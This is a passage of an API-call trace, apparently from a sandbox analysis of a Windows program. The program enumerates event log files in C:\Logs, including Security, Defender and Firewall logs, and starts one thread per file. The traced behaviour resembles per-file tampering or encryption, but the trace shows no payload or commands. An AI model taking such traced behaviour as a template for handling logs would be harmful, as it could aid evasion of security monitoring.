	[0075.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d62340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920
	[0075.002] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", cAlternateFileName="MIEC03~1.EVT")) returned 1
	[0075.002] wcscmp (_String1="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", _String2=".") returned 1
	[0075.002] wcscmp (_String1="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", _String2="..") returned 1
	[0075.002] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x2d7f118
	[0075.002] wcscpy (in: _Dest=0x2d7f118, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.002] wcscat (in: _Dest=0x2d7f118, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.002] wcscat (in: _Dest=0x2d7f118, _Source="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx"
	[0075.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7f118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924
	[0075.002] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", cAlternateFileName="MI1F5D~1.EVT")) returned 1
	[0075.002] wcscmp (_String1="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", _String2=".") returned 1
	[0075.002] wcscmp (_String1="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", _String2="..") returned 1
	[0075.002] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2d7d568
	[0075.002] wcscpy (in: _Dest=0x2d7d568, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.002] wcscat (in: _Dest=0x2d7d568, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.002] wcscat (in: _Dest=0x2d7d568, _Source="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx"
	[0075.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7d568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x928
	[0075.003] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx", cAlternateFileName="MIA925~1.EVT")) returned 1
	[0075.003] wcscmp (_String1="Microsoft-Windows-TWinUI%4Operational.evtx", _String2=".") returned 1
	[0075.003] wcscmp (_String1="Microsoft-Windows-TWinUI%4Operational.evtx", _String2="..") returned 1
	[0075.003] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2d86ab8
	[0075.003] wcscpy (in: _Dest=0x2d86ab8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.003] wcscat (in: _Dest=0x2d86ab8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.004] wcscat (in: _Dest=0x2d86ab8, _Source="Microsoft-Windows-TWinUI%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx"
	[0075.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d86ab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x92c
	[0075.004] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx", cAlternateFileName="MI4D4C~1.EVT")) returned 1
	[0075.004] wcscmp (_String1="Microsoft-Windows-User Profile Service%4Operational.evtx", _String2=".") returned 1
	[0075.004] wcscmp (_String1="Microsoft-Windows-User Profile Service%4Operational.evtx", _String2="..") returned 1
	[0075.004] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x2d7ae80
	[0075.004] wcscpy (in: _Dest=0x2d7ae80, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.004] wcscat (in: _Dest=0x2d7ae80, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.004] wcscat (in: _Dest=0x2d7ae80, _Source="Microsoft-Windows-User Profile Service%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx"
	[0075.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7ae80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x930
	[0075.005] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx", cAlternateFileName="MI5FF0~1.EVT")) returned 1
	[0075.005] wcscmp (_String1="Microsoft-Windows-UserPnp%4ActionCenter.evtx", _String2=".") returned 1
	[0075.005] wcscmp (_String1="Microsoft-Windows-UserPnp%4ActionCenter.evtx", _String2="..") returned 1
	[0075.005] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2e04900
	[0075.005] wcscpy (in: _Dest=0x2e04900, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.005] wcscat (in: _Dest=0x2e04900, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.005] wcscat (in: _Dest=0x2e04900, _Source="Microsoft-Windows-UserPnp%4ActionCenter.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx"
	[0075.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e04900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x934
	[0075.006] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", cAlternateFileName="MIBD88~1.EVT")) returned 1
	[0075.006] wcscmp (_String1="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", _String2=".") returned 1
	[0075.006] wcscmp (_String1="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", _String2="..") returned 1
	[0075.006] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2e04cc0
	[0075.006] wcscpy (in: _Dest=0x2e04cc0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.006] wcscat (in: _Dest=0x2e04cc0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.006] wcscat (in: _Dest=0x2e04cc0, _Source="Microsoft-Windows-UserPnp%4DeviceInstall.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx"
	[0075.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e04cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x938
	[0075.007] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", cAlternateFileName="MICC17~1.EVT")) returned 1
	[0075.007] wcscmp (_String1="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", _String2=".") returned 1
	[0075.007] wcscmp (_String1="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", _String2="..") returned 1
	[0075.007] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x2d7b270
	[0075.007] wcscpy (in: _Dest=0x2d7b270, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.007] wcscat (in: _Dest=0x2d7b270, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.007] wcscat (in: _Dest=0x2d7b270, _Source="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx"
	[0075.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7b270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x93c
	[0075.008] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx", cAlternateFileName="MI72BF~1.EVT")) returned 1
	[0075.008] wcscmp (_String1="Microsoft-Windows-Wcmsvc%4Operational.evtx", _String2=".") returned 1
	[0075.008] wcscmp (_String1="Microsoft-Windows-Wcmsvc%4Operational.evtx", _String2="..") returned 1
	[0075.008] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2d86b28
	[0075.008] wcscpy (in: _Dest=0x2d86b28, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.008] wcscat (in: _Dest=0x2d86b28, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.008] wcscat (in: _Dest=0x2d86b28, _Source="Microsoft-Windows-Wcmsvc%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx"
	[0075.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d86b28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940
	[0075.009] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx", cAlternateFileName="MI7501~1.EVT")) returned 1
	[0075.009] wcscmp (_String1="Microsoft-Windows-Windows Defender%4Operational.evtx", _String2=".") returned 1
	[0075.009] wcscmp (_String1="Microsoft-Windows-Windows Defender%4Operational.evtx", _String2="..") returned 1
	[0075.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7a) returned 0x2e34fb0
	[0075.009] wcscpy (in: _Dest=0x2e34fb0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.009] wcscat (in: _Dest=0x2e34fb0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.009] wcscat (in: _Dest=0x2e34fb0, _Source="Microsoft-Windows-Windows Defender%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx"
	[0075.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e34fb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x944
	[0075.010] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx", cAlternateFileName="MIF226~1.EVT")) returned 1
	[0075.010] wcscmp (_String1="Microsoft-Windows-Windows Defender%4WHC.evtx", _String2=".") returned 1
	[0075.010] wcscmp (_String1="Microsoft-Windows-Windows Defender%4WHC.evtx", _String2="..") returned 1
	[0075.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2e04888
	[0075.010] wcscpy (in: _Dest=0x2e04888, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.010] wcscat (in: _Dest=0x2e04888, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.010] wcscat (in: _Dest=0x2e04888, _Source="Microsoft-Windows-Windows Defender%4WHC.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx"
	[0075.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e04888, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948
	[0075.011] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", cAlternateFileName="MIDCC7~1.EVT")) returned 1
	[0075.011] wcscmp (_String1="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", _String2=".") returned 1
	[0075.011] wcscmp (_String1="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", _String2="..") returned 1
	[0075.011] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x2d895d0
	[0075.011] wcscpy (in: _Dest=0x2d895d0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.011] wcscat (in: _Dest=0x2d895d0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.011] wcscat (in: _Dest=0x2d895d0, _Source="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx"
	[0075.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d895d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94c
	[0075.012] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", cAlternateFileName="MI7771~1.EVT")) returned 1
	[0075.012] wcscmp (_String1="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", _String2=".") returned 1
	[0075.012] wcscmp (_String1="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", _String2="..") returned 1
	[0075.012] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d61420
	[0075.012] wcscpy (in: _Dest=0x2d61420, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.012] wcscat (in: _Dest=0x2d61420, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.012] wcscat (in: _Dest=0x2d61420, _Source="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx"
	[0075.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d61420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x950
	[0075.013] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", cAlternateFileName="MI4667~1.EVT")) returned 1
	[0075.013] wcscmp (_String1="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", _String2=".") returned 1
	[0075.013] wcscmp (_String1="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", _String2="..") returned 1
	[0075.013] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x2d7b780
	[0075.013] wcscpy (in: _Dest=0x2d7b780, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.013] wcscat (in: _Dest=0x2d7b780, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.013] wcscat (in: _Dest=0x2d7b780, _Source="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx"
	[0075.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7b780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954
	[0075.013] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx", cAlternateFileName="MID6AB~1.EVT")) returned 1
	[0075.013] wcscmp (_String1="Microsoft-Windows-Winlogon%4Operational.evtx", _String2=".") returned 1
	[0075.013] wcscmp (_String1="Microsoft-Windows-Winlogon%4Operational.evtx", _String2="..") returned 1
	[0075.013] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2e04798
	[0075.014] wcscpy (in: _Dest=0x2e04798, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.014] wcscat (in: _Dest=0x2e04798, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.014] wcscat (in: _Dest=0x2e04798, _Source="Microsoft-Windows-Winlogon%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx"
	[0075.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e04798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x958
	[0075.014] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx", cAlternateFileName="MIFF83~1.EVT")) returned 1
	[0075.014] wcscmp (_String1="Microsoft-Windows-WMI-Activity%4Operational.evtx", _String2=".") returned 1
	[0075.014] wcscmp (_String1="Microsoft-Windows-WMI-Activity%4Operational.evtx", _String2="..") returned 1
	[0075.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x2d60848
	[0075.014] wcscpy (in: _Dest=0x2d60848, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.014] wcscat (in: _Dest=0x2d60848, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.014] wcscat (in: _Dest=0x2d60848, _Source="Microsoft-Windows-WMI-Activity%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx"
	[0075.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d60848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x95c
	[0075.015] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d7c580 | out: lpFindFileData=0x2d7c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security.evtx", cAlternateFileName="SECURI~1.EVT")) returned 1
	[0075.015] wcscmp (_String1="Security.evtx", _String2=".") returned 1
	[0075.015] wcscmp (_String1="Security.evtx", _String2="..") returned 1
	[0075.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2c) returned 0x2e3a498
	[0075.015] wcscpy (in: _Dest=0x2e3a498, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0075.015] wcscat (in: _Dest=0x2e3a498, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0075.015] wcscat (in: _Dest=0x2e3a498, _Source="Security.evtx" | out: _Dest="C:\\Logs\\Security.evtx") returned="C:\\Logs\\Security.evtx"
	[0075.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e3a498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa40
